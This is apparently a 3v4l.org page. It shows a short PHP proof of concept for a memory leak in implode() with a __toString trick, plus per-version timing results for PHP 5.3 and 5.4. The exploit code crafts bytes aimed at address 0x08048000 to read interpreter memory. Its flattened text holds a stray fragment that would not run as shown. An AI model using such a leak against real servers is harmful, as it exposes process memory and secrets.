3v4l.org

run code in 300+ PHP versions simultaneously
<?php // impleak.php // mem leak found by n0b0dy class volatile { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); memory 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new volatile, 1); $data = implode(",", &$arr1); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.230.0120.04212.39
5.4.220.0110.04112.39
5.4.210.0110.04212.39
5.4.200.0090.04512.39
5.4.190.0110.04312.39
5.4.180.0140.04212.39
5.4.170.0090.04312.40
5.4.160.0140.04212.39
5.4.150.0120.04312.38
5.4.140.0140.03812.08
5.4.130.0090.04912.06
5.4.120.0120.03912.03
5.4.110.0100.04112.02
5.4.100.0110.04412.02
5.4.90.0120.04212.02
5.4.80.0130.03812.02
5.4.70.0100.04112.02
5.4.60.0110.03812.02
5.4.50.0120.03812.02
5.4.40.0120.03812.01
5.4.30.0100.04012.00
5.4.20.0100.04111.99
5.4.10.0140.04212.01
5.4.00.0120.03811.50
5.3.280.0100.04412.70
5.3.270.0100.04512.73
5.3.260.0080.04712.72
5.3.250.0140.04512.72
5.3.240.0130.04512.72
5.3.230.0120.04212.71
5.3.220.0130.04412.68
5.3.210.0120.04512.68
5.3.200.0090.04412.68
5.3.190.0080.04612.68
5.3.180.0100.04312.68
5.3.170.0120.04012.67
5.3.160.0160.04312.67
5.3.150.0150.04612.67
5.3.140.0140.05012.66
5.3.130.0130.04912.66
5.3.120.0130.04912.66
5.3.110.0090.04912.66
5.3.100.0100.04712.12
5.3.90.0120.04212.10
5.3.80.0100.04512.09
5.3.70.0120.04212.09
5.3.60.0110.04212.07
5.3.50.0110.04012.01
5.3.40.0120.04112.02
5.3.30.0120.03911.98
5.3.20.0130.04111.76
5.3.10.0100.03811.72
5.3.00.0110.03911.70

preferences:
138.07 ms | 1394 KiB | 7 Q